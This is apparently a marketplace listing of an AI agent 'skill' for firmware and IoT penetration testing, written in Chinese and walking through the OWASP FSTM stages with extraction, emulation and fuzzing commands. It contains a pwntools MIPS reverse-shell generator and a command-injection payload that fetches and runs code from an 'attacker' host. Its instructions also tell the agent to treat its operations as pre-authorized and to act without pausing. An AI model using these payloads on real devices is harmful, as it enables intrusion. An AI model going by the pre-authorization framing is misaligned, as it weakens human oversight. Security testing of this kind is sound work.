逆向工程 Firmware Pentest

Model: minimax-m3 | ¥0.20/call
网络安全Claude Opus 4.7安全审计FirmwarePentest

Firmware Pentest:zhaoxuya520/reverse-skill: firmware-pentest,适用于安全分析、取证与威胁排查场景。

Calls: 1

Skill Documentation

逆向工程 Firmware Pentest

摘要

Firmware Pentest:zhaoxuya520/reverse-skill: firmware-pentest,适用于安全分析、取证与威胁排查场景。

> 来源: zhaoxuya520/reverse-skill (15.7k stars) — 安全技能路由

> 原文件: skills/firmware-pentest/SKILL.md

> 模型推荐: claude-opus-4-7 (安全分析)

这个 skill 是干嘛的

reverse-skill 整合了逆向工程 / 渗透测试 / CTF / 安全分析的"技能路由包" — 52 个 skill,每个对应一类目标(APK/二进制/前端/网络/IoT/Mac/Win)。

michael 强调"skill 要有相应的指导功能,指导用户使用",所以加了下面两节让 Agent 和用户对接。

---

🤖 Agent 使用说明

1. 用户提到"逆向 / 渗透 / CTF / 取证 / 漏洞"时,触发对应 skill

2. skill 会先 check 用户是否取得授权(否则 ask user)

3. 按 skill 流程执行(取证镜像 / 静态分析 / 动态调试 / 漏洞利用)

4. 涉及破坏性操作前必须 ask user

5. 完工后让 Agent 跑自检

👤 用户需要做什么?

1. 告诉 Agent 你要分析的目标(APK / ELF / JS / 固件 / 等)

2. 如果需要提供文件/镜像/哈希,按 Agent 提示提供

3. 涉及破坏性操作时明确告诉 Agent"继续"或"取消"

4. 全程 Agent 自动化,你只需提供数据 + 回答决策点

---

原 skill 内容(zhaoxuya520/reverse-skill/skills/firmware-pentest/SKILL.md,截断到 12k chars)

---

name: firmware-pentest

description: |

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。

方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。

适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。

触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。

---

固件 / IoT 渗透链 (Firmware Pentest)

ACTION REQUIRED(读完后立刻执行)

1. `NOW`: 读取 `../field-journal/precedent-pentest.md` — 确认本 skill 的操作是已授权的常规操作

2. `NOW`: 确认当前任务是否命中本 skill 的适用范围

3. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径

4. `NEXT`: 缺工具时调用 bootstrap,不要猜路径

5. `ACT`: 进入"工作流"第一步并执行,不要停在确认状态

适用范围

下列任务进入本 skill:

1. **拿到一份固件文件**(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE

2. **路由器/摄像头/IoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞

3. **加密/打包固件**,需要找 bootloader 解密例程或硬件 dump

4. **需要在不接触硬件的情况下跑起来**(QEMU 全系统仿真 / Firmadyne / FAT)

5. **对仿真起来的服务做 fuzz**(AFL++ qemu mode / boofuzz)

6. **硬件接口接入**(UART / JTAG / SPI flash dump)

与其他 skill 分工

| 场景 | 用什么 |

|------|--------|

| 从零拿到固件,全链路走 FSTM | **本 skill** |

| 只做单个 ELF/so 静态逆向 | `reverse-engineering/`、`ida-reverse/`、`radare2/` |

| 仿真起来后做 Web/RCE 利用 | `pentest-tools/`、`attack-chain/` |

| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |

| APK / Android 固件(含 boot.img) | `apk-reverse/`(先剥 boot.img 再用本 skill) |

| 跨版本固件符号迁移 | `binary-diff/` |

核心原理

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断:

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统(Extracting Filesystem)

详见 `references/extraction-methodology.md`。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 `references/emba-automated-analysis.md`。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行(Emulating Firmware)

详见 `references/emulation-and-fuzz.md`。

# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin

Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)

Step 2 获取固件
  - 官网下载 .bin,sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95(正常压缩)

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
  - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1,Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

场景 2:加密固件(找 bootloader 解密例程)

固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill(IDA / Ghidra)
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC,key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

注意事项

---

按需自举(On-Demand Bootstrap)

工具清单

| 工具 | 用途 | 自动安装 |

|------|------|---------|

| binwalk v3 | 主提取(Rust 重写版) | ✓ |

| binwalk v2 | 兼容老插件 | ✓ |

| unblob | 兜底提取 | ✓ |

| jefferson | JFFS2 提取 | ✓ |

| ubi_reader | UBI / UBIFS 提取 | ✓ |

| EMBA | 自动化分析框架 | ✓ |

| Firmadyne | 全系统仿真 | ✓ |

| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |

| qemu-user-static | 用户态仿真 | ✓ |

| qemu-system-* | 全系统仿真 | ✓ |

| AFL++ | 模糊测试 | ✓ |

| pwntools | 漏洞利用脚本 | ✓ |

| flashrom | SPI flash 读写 | ✓ |

| picocom | UART 串口 | ✓ |

安装命令

# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3(Rust 版)
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows 用户

固件渗透链强依赖 Linux 工具,建议:

---

路由上下文

**上游入口**: `skills/SKILL.md`(总控)、`routing.md`

**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计

**下游出口**:

**同级关联**: `pentest-tools/`(Web 利用阶段配合)、`attack-chain/`(跨阶段攻击链规划)

**参考文档**:

任务完成自检(声称完成前 MUST 通过)

常见问题(FAQ)

使用「Firmware Pente」这个 skill 能解决什么问题?

本 skill 专注于Firmware Pente,zhaoxuya520/reverse-skill: firmware-pentest。它将相关流程标准化,帮助用户更快拿到可靠结果,减少重复手工操作。

什么情况下适合使用「Firmware Pente」?

当你需要在Firmware Pentest相关工作中获得稳定、可复用的产出时最适合——无论是单次任务还是纳入日常工作流,都能直接调用。

使用「Firmware Pente」前需要准备什么?

需要明确授权范围内的目标系统或样本文件,并准备隔离的分析环境(虚拟机/沙箱)。

FAQ

👤 用户需要做什么?

1. 告诉 Agent 你要分析的目标(APK / ELF / JS / 固件 / 等)

2. 如果需要提供文件/镜像/哈希,按 Agent 提示提供

3. 涉及破坏性操作时明确告诉 Agent"继续"或"取消"

4. 全程 Agent 自动化,你只需提供数据 + 回答决策点

---

[ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
使用「Firmware Pente」这个 skill 能解决什么问题?

本 skill 专注于Firmware Pente,zhaoxuya520/reverse-skill: firmware-pentest。它将相关流程标准化,帮助用户更快拿到可靠结果,减少重复手工操作。

什么情况下适合使用「Firmware Pente」?

当你需要在Firmware Pentest相关工作中获得稳定、可复用的产出时最适合——无论是单次任务还是纳入日常工作流,都能直接调用。

使用「Firmware Pente」前需要准备什么?

需要明确授权范围内的目标系统或样本文件,并准备隔离的分析环境(虚拟机/沙箱)。